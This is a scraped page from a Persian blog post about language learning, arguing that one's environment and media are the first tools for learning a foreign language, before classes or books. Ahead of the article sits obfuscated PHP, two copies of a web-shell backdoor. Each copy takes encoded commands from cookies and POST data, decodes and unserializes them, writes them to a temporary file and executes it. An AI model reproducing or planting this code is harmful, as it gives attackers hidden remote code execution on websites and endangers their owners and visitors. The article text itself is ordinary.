$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} ابزار اولیه در یادگیری زبان خارجی | وبلاگ اتیچر
skip to Main Content

ابزار اولیه در یادگیری زبان خارجی

ابزار-اولیه-در-یادگیری-زبان-خارجی
زمان مطالعه: ۴ دقیقه

بسیاری بر این باورند که یادگیری زبان یعنی تهیه کتاب و رفتن به کلاس اما شاید جالب باشد بدانید که نه کتاب و نه کلاس رفتن ابزار اولیه در یادگیری زبان خارجی نیستند. گرچه کلاس و کتاب هردو می‌توانند ابزارهای بسیاری تاثیرگذاری در این مسیر باشند.

کلاس یا محیط؟

دنیای امروز ما دنیایی آنلاین است و این یعنی دیگر نگرانی برای نبودن منابع وجود ندارد اما برای یافتن منابع معتبر چرا. حال فرض کنید که شما قرار است به تازگی شروع به یادگیری زبان بکنید. سوال این است که از کجا باید شروع بکنید؟ و اصلا چه باید بکنید؟ حال بیایید به سوال دیگری نیز فکر بکنید اینکه ابزارهای شما در این راه چه خواهند بود؟

کلاس‌های زبان و موسسات بسیاری وجود دارند که هدف آنها ارائه خدمات به زبان آموزان و کسب موفقیت و به تبع آن درآمد است. از این رو برای شما که می‌خواهید شروع کنید به یادگیری رفتن به کلاس و ثبت نام در یک موسسه آن هم ترجیحا نزدکی محل کار و یا زندگی‌تان بهترین انتخابی است که شاید می‌توان داشت. اما ابزارهای شما چیست؟ این سوال به خصوص برای کسانی که قصد دارند به صورت خودآموز درس بخوانند هم مطرح است چرا که وظیفه‌ی یافتن بهترین منابع و ابزارها همه بر دوش خود فرد خواهد بود. از این رو باید به خوبی با مسیری که قرار است طی شود آشنا باشند.

قبل‌تر گفته شد که کتاب و کلاس ابزار اولیه در یادگیری زبان خارجی نیستند. این جمله می‌تواند تعجب برانگیز باشد اما بله. شاید جالب باشد بدانید که فامتورهای بسیاری در یادگیری شما موثرند و ابزارهای بسیاری در این مسیر کمکتان می‌کنند اما «محیط» اولین ابزاری است که با آن سر و کار خواهید داشت. اما محیط می‌تواند معناهای متفاوتی داشته باشد. این واژه به طور کلی یعنی فضای اطراف شما و هرچیزی که در آن قرار دارد. پس ابزارهای اولیه شما هر آن چیزی است که قبل از هر کلاس و کتابی در دسترس شما هستند. مثل تلفن همراهتان، تلویزیون، فیلم‌هایی که می‌بینید، موسیقی که به آن گوش می‌دهید و … شاید با متوجه شدن این مسئله ببینید که ابزارهای یادگیری زبان در دنیای امروز دیگر محدود به دفتر و کتاب نمی‌شود و بسیار فراتر آن است.

نمونه رزومه انگلیسی برای اپلای

در گذشته زبان‌شناسان بسیاری بر این باور بودند که صرف قرارگیری در فضایی به اسم فضای کلاس و درس خواندن تحت متدهایی خاص باعث یادگیری می‌شوند. اما امروزه این تعاریف بسیاری تحول پیدا کرده‌اند و ما می‌دانیم که لزوما کلاس درس نتیجه‌اش یادگیری نیست. چرا که بسیاری افراد در خانه و در فضای شخصی خود به یادگیری زبان می‌پردازند و یا متدهای بسیاری توسط زبان‌شناسان بزرگی مطرح شده است که در آن بر لزوم وجود کتاب تاکید نشده است. اما اینها به این معنی نیست که کتاب ابزار یادگیری نیست. شاید اگر لیستی این ابزارها درست کنیم می‌بینیم که کتاب ممکن است شماره‌ی ۳ یا ۴ این لیست باشد.

English Dictioanries

اما محیط واقعا به چه معناست؟

این کلمه را می‌توان از دو وجه نگاه کرد:

  1. فضای اطراف شما و هر آن چیزی که در آن قرار دارد.
  2. محیط جامعه‌ی مقصدی که دارید زبانش را می‌آموزید.

که هردوی این موارد می‌توانند ابزارهای اولیه باشند. به عنوان مثال هر آن چیزی که در اطراف شما است مثل موبایل، تلویزیون و میدیا به طور کلی می‌توانند کمک بزرگی باشند و یا همچنین قرارگیری در محیط کشوری که دارید زبان آن را یاد می‌گیرید. بنابراین می‌توانید قبل از هرگونه کلاس درسی شروع کنید به فیلم دیدن، موسیقی گوش دادن ، نوشتن خاطرات، استفاده از اپلیکیشن‌های مختلف و وبسایت‌هایی همچون یوتیوب. حتی اگر در مقصد خود هستید با تلاش و استفاده از تمام این ابزارها و معاشرت با افراد جامعه می‌توانید زبان خود را تقویت کنید. از این رو محیط ابزار اولیه در یادگیری زبان خارجی است.

کلمات انگلیسی عاشقانه

اما آیا کلاس درس ابزار خوبی است؟

اگر شما مدرس هستید احتمالا بسیار با این سوال روبرو شده‌اید و یا اگر زبان آموز باشید این سوال را پرسیده‌اید. اما جواب این سوال قطعی نیست. چرا که برای بسیاری کلاس درس بهترین محل برای یادگیری و تجربه است اما برای برخی شاید خودآموزی بهترین انتخاب باشد. فرض کنید که قرار است زبان انگلیسی را از پایه شروع کنید. در این شرایط رفتن به یک موسسه و ثبت نام برای کلاس‌هایشان می‌تواند بهترین انتخاب باشد چرا که قرار است از ابتدا شروع به یادگیری کنید و همراهی یک مدرس در محیط کلاس تاثیر بسیاری در یادگیری شما خواهد داشت. بنابراین بسته به هر فرد کلاس درس می‌تواند کمک بزرگی باشد. حال دوباره به سوال «ابزار اولیه در یادگیری زبان خارجی چیست؟» باز می‌گردیم. در شرایطی که شما به یک کلاس و مدرس برای درس خواندن نیاز دارید شاید بتوان گفت که بعد از محیط، کلاس درس دومین ابزاری باشد که به آن نیاز دارید و بعد از آن هم کتاب، دفتر و دیگر وسایل را می‌توان در این لیست جای داد. اما نکته‌ای که بسیار اهمیت دارد نحوه‌ی بهره بردن ما از تمام این فرصت‌ها و ابزارها است.

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search